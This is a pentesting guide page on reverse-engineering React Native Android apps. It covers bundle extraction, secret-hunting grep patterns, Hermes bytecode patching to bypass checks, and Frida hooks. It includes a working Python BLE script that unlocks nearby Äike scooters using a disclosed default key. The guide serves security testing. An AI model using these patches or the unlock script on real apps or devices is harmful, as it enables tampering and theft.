daemon-sec-cheatsheet

react-native-application.md (17419B)

---

 ---
 title: "React Native Application Analysis"
 section: "Mobile"
 sectionSlug: "mobile-pentesting"
 sourcePath: "src/mobile-pentesting/android-app-pentesting/react-native-application.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/react-native-application.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: false
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # React Native Application Analysis
 
 To confirm if the application was built on the React Native framework, follow these steps:
 
 1. Rename the APK file with a zip extension and extract it to a new folder using the command `cp com.example.apk example-apk.zip` and `unzip -qq example-apk.zip -d ReactNative`.
 
 2. Navigate to the newly created ReactNative folder and locate the assets folder. Inside this folder, you should find the file `index.android.bundle`, which contains the React JavaScript in a minified format.
 
 3. Use the command `find . -print | grep -i ".bundle$"` to search for the JavaScript file.
 
 Note: If you are given an Android App Bundle (.aab) instead of an APK, generate a universal APK first and then extract the bundle:
 
 ```bash
 # Get bundletool.jar and generate a universal APK set
 java -jar bundletool.jar build-apks \
   --bundle=app-release.aab \
   --output=app.apks \
   --mode=universal \
   --overwrite
 
 # Extract the APK and then unzip it to find assets/index.android.bundle
 unzip -p app.apks universal.apk > universal.apk
 unzip -qq universal.apk -d ReactNative
 ls ReactNative/assets/
 ```
 
 ## Javascript Code
 
 If checking the contents of the `index.android.bundle` you find the JavaScript code of the application (even if minified), you can **analyze it to find sensitive information and vulnerabilities**.
 
 As the bundle contains actually all the JS code of the application it's possible to **divide it in different files** (potentially making easier its reverse engineering) using the **tool [react-native-decompiler](https://github.com/numandev1/react-native-decompiler)**.<sup>[[3]](#references)</sup>
 
 ### Webpack
 
 To further analyze the JavaScript code, you can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or follow these steps:
 
 1. Create a file named `index.html` in the same directory with the following code:
 
 ```html
 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/index.android.bundle"></script>
 ```
 
 2. Open the `index.html` file in Google Chrome.
 
 3. Open the Developer Toolbar by pressing **Command+Option+J for OS X** or **Control+Shift+J for Windows**.
 
 4. Click on "Sources" in the Developer Toolbar. You should see a JavaScript file that is split into folders and files, making up the main bundle.
 
 If you find a file called `index.android.bundle.map`, you will be able to analyze the source code in an unminified format. Map files contain source mapping, which allows you to map minified identifiers.
 
 To search for sensitive credentials and endpoints, follow these steps:<sup>[[1]](#references)</sup>
 
 1. Identify sensitive keywords to analyze the JavaScript code. React Native applications often use third-party services like Firebase, AWS S3 service endpoints, private keys, etc.
 
 2. In this specific case, the application was observed to be using the Dialogflow service. Search for a pattern related to its configuration.
 
 3. It was fortunate that sensitive hard-coded credentials were found in the JavaScript code during the recon process.
 
 ### Quick secrets/endpoint hunting in bundles
 
 These simple greps often surface interesting indicators even in minified JS:<sup>[[2]](#references)</sup>
 
 ```bash
 # Common backends and crash reporters
 strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
 
 # Firebase / Google keys (heuristics)
 strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
 
 # AWS access key id heuristic
 strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
 
 # Expo/CodePush deployment keys
 strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
 
 # Sentry DSN
 strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
 ```
 
 If you suspect Over-The-Air update frameworks, also hunt for:
 - Microsoft App Center / CodePush deployment keys
 - Expo EAS Updates configuration (`expo-updates`, `expo\.io`, signing certs)
 
 ### Change JS code and rebuild
 
 In this case changing the code is easy. You just need to rename the app to use the extension `.zip` and extract it. Then you can **modify the JS code inside this bundle and rebuild the app**. This should be enough to allow you to **inject code** in the app for testing purposes.
 
 
 ## Hermes bytecode
 
 If the bundle contains **Hermes bytecode**, you **won't be able to access the Javascript code** of the app (not even to the minified version).
 
 You can check if the bundle contains Hermes bytecode by running the following command:
 
 ```bash
 file index.android.bundle
 index.android.bundle: Hermes JavaScript bytecode, version 96
 ```
 
 However, you can use the tools **[hbctool](https://github.com/bongtrop/hbctool)**, updated forks of hbctool that support newer bytecode versions, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (Rust library/APIs), or **[hermes-dec](https://github.com/P1sec/hermes-dec)** to **disassemble the bytecode** and also to **decompile it to some pseudo JS code**. For example:<sup>[[5]](#references)</sup>
 
 ```bash
 # Disassemble and re-assemble with hbctool (works only for supported HBC versions)
 hbctool disasm ./index.android.bundle ./hasm_out
 # ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
 hbctool asm   ./hasm_out ./index.android.bundle
 
 # Using hasmer (focus on disassembly; assembler/decompiler are WIP)
 hasmer disasm ./index.android.bundle -o hasm_out
 
 # Using hermes-dec to produce pseudo-JS
 hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
 hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js
 ```
 
 Tip: The open-source Hermes project also ships developer tools such as `hbcdump` in specific Hermes releases. If you build the matching Hermes version used to produce the bundle, `hbcdump` can dump functions, string tables, and bytecode for deeper analysis.
 
 ### Change code and rebuild (Hermes)
 
 Ideally you should be able to modify the disassembled code (changing a comparison, or a value or whatever you need to modify) and then **rebuild the bytecode** and rebuild the app.
 
 - The original **[hbctool](https://github.com/bongtrop/hbctool)** supports disassembling the bundle and building it back after changes, but historically supported only older bytecode versions. Community-maintained forks extend support to newer Hermes versions (including mid-80s–96) and are often the most practical option to patch modern RN apps.<sup>[[5]](#references)</sup>
 - The tool **[hermes-dec](https://github.com/P1sec/hermes-dec)** does not support rebuilding the bytecode (decompiler/disassembler only), but it’s very helpful to navigate logic and dump strings.
 - The tool **[hasmer](https://github.com/lucasbaizer2/hasmer)** aims to support both disassembly and assembly for multiple Hermes versions; assembling is still maturing but worth trying on recent bytecode.
 
 A minimal workflow with hbctool-like assemblers:
 
 ```bash
 # 1) Disassemble to HASM directories
 hbctool disasm assets/index.android.bundle ./hasm
 
 # 2) Edit a guard or feature flag (example: force boolean true)
 #    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
 #    or change a conditional jump target to bypass a check.
 
 # 3) Reassemble into a new bundle
 hbctool asm ./hasm assets/index.android.bundle
 
 # 4) Repack the APK and resign
 zip -r ../patched.apk *
 # Align/sign as usual (see Android signing section in HackTricks)
 ```
 
 Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.
 
 ## Dynamic Analysis
 
 For dynamic analysis, you can try using Frida to enable React Native developer support and attach **`react-native-debugger`**. Some published workflows assume access to the source code; against a release-only target, feasibility depends on which development classes and bundle metadata remain in the build. The linked walkthrough provides a practical example.<sup>[[7]](#references)</sup>
 
 ### Enabling Dev Support in release with Frida (caveats)
 
 Some apps accidentally ship classes that make Dev Support togglable. If present, you can try forcing `getUseDeveloperSupport()` to return true:<sup>[[7]](#references)</sup>
 
 ```javascript
 // frida -U -f com.target.app -l enable-dev.js
 Java.perform(function(){
   try {
     var Host = Java.use('com.facebook.react.ReactNativeHost');
     Host.getUseDeveloperSupport.implementation = function(){
       return true; // force dev support
     };
     console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
   } catch (e) {
     console.log('[-] Could not patch: ' + e);
   }
 });
 ```
 
 Warning: In properly built release builds, `DevSupportManagerImpl` and related debug-only classes are stripped and flipping this flag can crash the app or have no effect. When this works, you can typically expose the dev menu and attach debuggers/inspectors.
 
 ### Network interception in RN apps
 
 React Native Android typically relies on OkHttp under the hood (via the `Networking` native module). To intercept/observe traffic on a non-rooted device during dynamic tests:
 - Use system proxy + trust user CA or use other generic Android TLS bypass techniques.
 - RN-specific tip: if the app bundles Flipper in release by mistake (debug tooling), the Flipper Network plugin can expose requests/responses.
 
 For generic Android interception and pinning bypass techniques refer to:
 
 [Make Apk Accept Ca Certificate](/hacktricks/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate)
 
 [Objection Tutorial](/hacktricks/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial)
 
 ### Runtime GATT protocol discovery with Frida (Hermes-friendly)
 
 When Hermes bytecode blocks easy static inspection of the JS, hook the Android BLE stack instead. `android.bluetooth.BluetoothGatt` and `BluetoothGattCallback` expose everything the app sends/receives, letting you reverse proprietary challenge-response and command frames without JS source.<sup>[[6]](#references)</sup>
 
 <details>
 <summary>Frida GATT logger (UUID + hex/ASCII dumps)</summary>
 
 ```javascript
 Java.perform(function () {
   function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); }
   function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); }
   var G = Java.use('android.bluetooth.BluetoothGatt');
   var Cb = Java.use('android.bluetooth.BluetoothGattCallback');
 
   G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function (c) {
     console.log(`\n>>> WRITE ${c.getUuid()}`); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
     return this.writeCharacteristic(c);
   };
   G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic','[B','int').implementation = function (c,v,t) {
     console.log(`\n>>> WRITE ${c.getUuid()} (type ${t})`); console.log(b2h(v)); console.log(b2a(v));
     return this.writeCharacteristic(c,v,t);
   };
   Cb.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt','int','int').implementation = function (g,s,n) {
     console.log(`*** STATE ${n} (status ${s})`); return this.onConnectionStateChange(g,s,n);
   };
   Cb.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic','int').implementation = function (g,c,s) {
     var v=c.getValue(); console.log(`\n<<< READ ${c.getUuid()} status ${s}`); console.log(b2h(v)); console.log(b2a(v));
     return this.onCharacteristicRead(g,c,s);
   };
   Cb.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic').implementation = function (g,c) {
     var v=c.getValue(); console.log(`\n<<< NOTIFY ${c.getUuid()}`); console.log(b2h(v));
     return this.onCharacteristicChanged(g,c);
   };
 });
 ```
 </details>
 
 Hook `java.security.MessageDigest` to fingerprint hash-based handshakes and capture the exact input concatenation:
 
 <details>
 <summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
 
 ```javascript
 Java.perform(function () {
   var MD = Java.use('java.security.MessageDigest');
   MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
   MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
   MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
   MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
 });
 ```
 </details>
 
 A real-world BLE flow recovered this way:
 - Read challenge from `00002556-1212-efde-1523-785feabcd123`.
 - Compute `response = SHA1(challenge || key)` where the **key was a 20-byte default of 0xFF** provisioned across all devices.
 - Write the response to `00002557-1212-efde-1523-785feabcd123`, then issue commands on `0000155f-1212-efde-1523-785feabcd123`.
 
 Once authenticated, commands were 10-byte frames to `...155f...` (`[0]=0x00`, `[1]=registry 0xD4`, `[3]=cmd id`, `[7]=param`). Examples: unlock `00 D4 00 01 00 00 00 00 00 00`, lock `...02...`, eco-mode on `...03...01...`, open battery `...04...`. Notifications arrived on `0000155e-1212-efde-1523-785feabcd123` (2-byte registry + payload), and registry values could be polled by writing the registry ID to `00001564-1212-efde-1523-785feabcd123` then reading back from `...155f...`.
 
 With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC:
 
 <details>
 <summary>Python (bleak) BLE auth + unlock via default key</summary>
 
 ```python
 import asyncio, hashlib
 from bleak import BleakClient, BleakScanner
 CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"
 
 def filt(d,_): return d.name and d.name in ["AIKE","AIKE_T","AIKE_11"]
 async def main():
   dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0)
   if not dev: return
   async with BleakClient(dev.address) as c:
     chal = await c.read_gatt_char(CHAL)
     resp = hashlib.sha1(chal + b'\xff'*20).digest()
     await c.write_gatt_char(RESP, resp, response=False)
     await c.write_gatt_char(CMD, bytes.fromhex('00 d4 00 01 00 00 00 00 00 00'), response=False)
     await asyncio.sleep(0.5)
 asyncio.run(main())
 ```
 </details>
 
 ## Recent issues in popular RN libraries (what to look for)
 
 When auditing third‑party modules visible in the JS bundle or native libs, check for known vulns and verify versions in `package.json`/`yarn.lock`.
 
 - react-native-mmkv (Android): versions prior to 2.11.0 logged the optional encryption key to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.<sup>[[4]](#references)</sup>
 - react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. Validate inputs and library version.
 
 Quick checks:
 
 ```bash
 grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
 grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
 # If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
 ```
 
 ## References
 
 - [1] [Let's know how I have explored the buried secrets in React Native application](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
 - [2] [Expanding the attack surface: React Native Android applications](https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications)
 - [3] [Mastering React Native Application Pentesting - A Practical Guide](https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf)
 - [4] [CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-21668)
 - [5] [hbctool (and forks) for Hermes assemble/disassemble](https://github.com/bongtrop/hbctool)
 - [6] [Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter](https://blog.nns.ee/2026/01/06/aike-ble/)
 - [7] [Hooking React Native Applications with Frida](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/)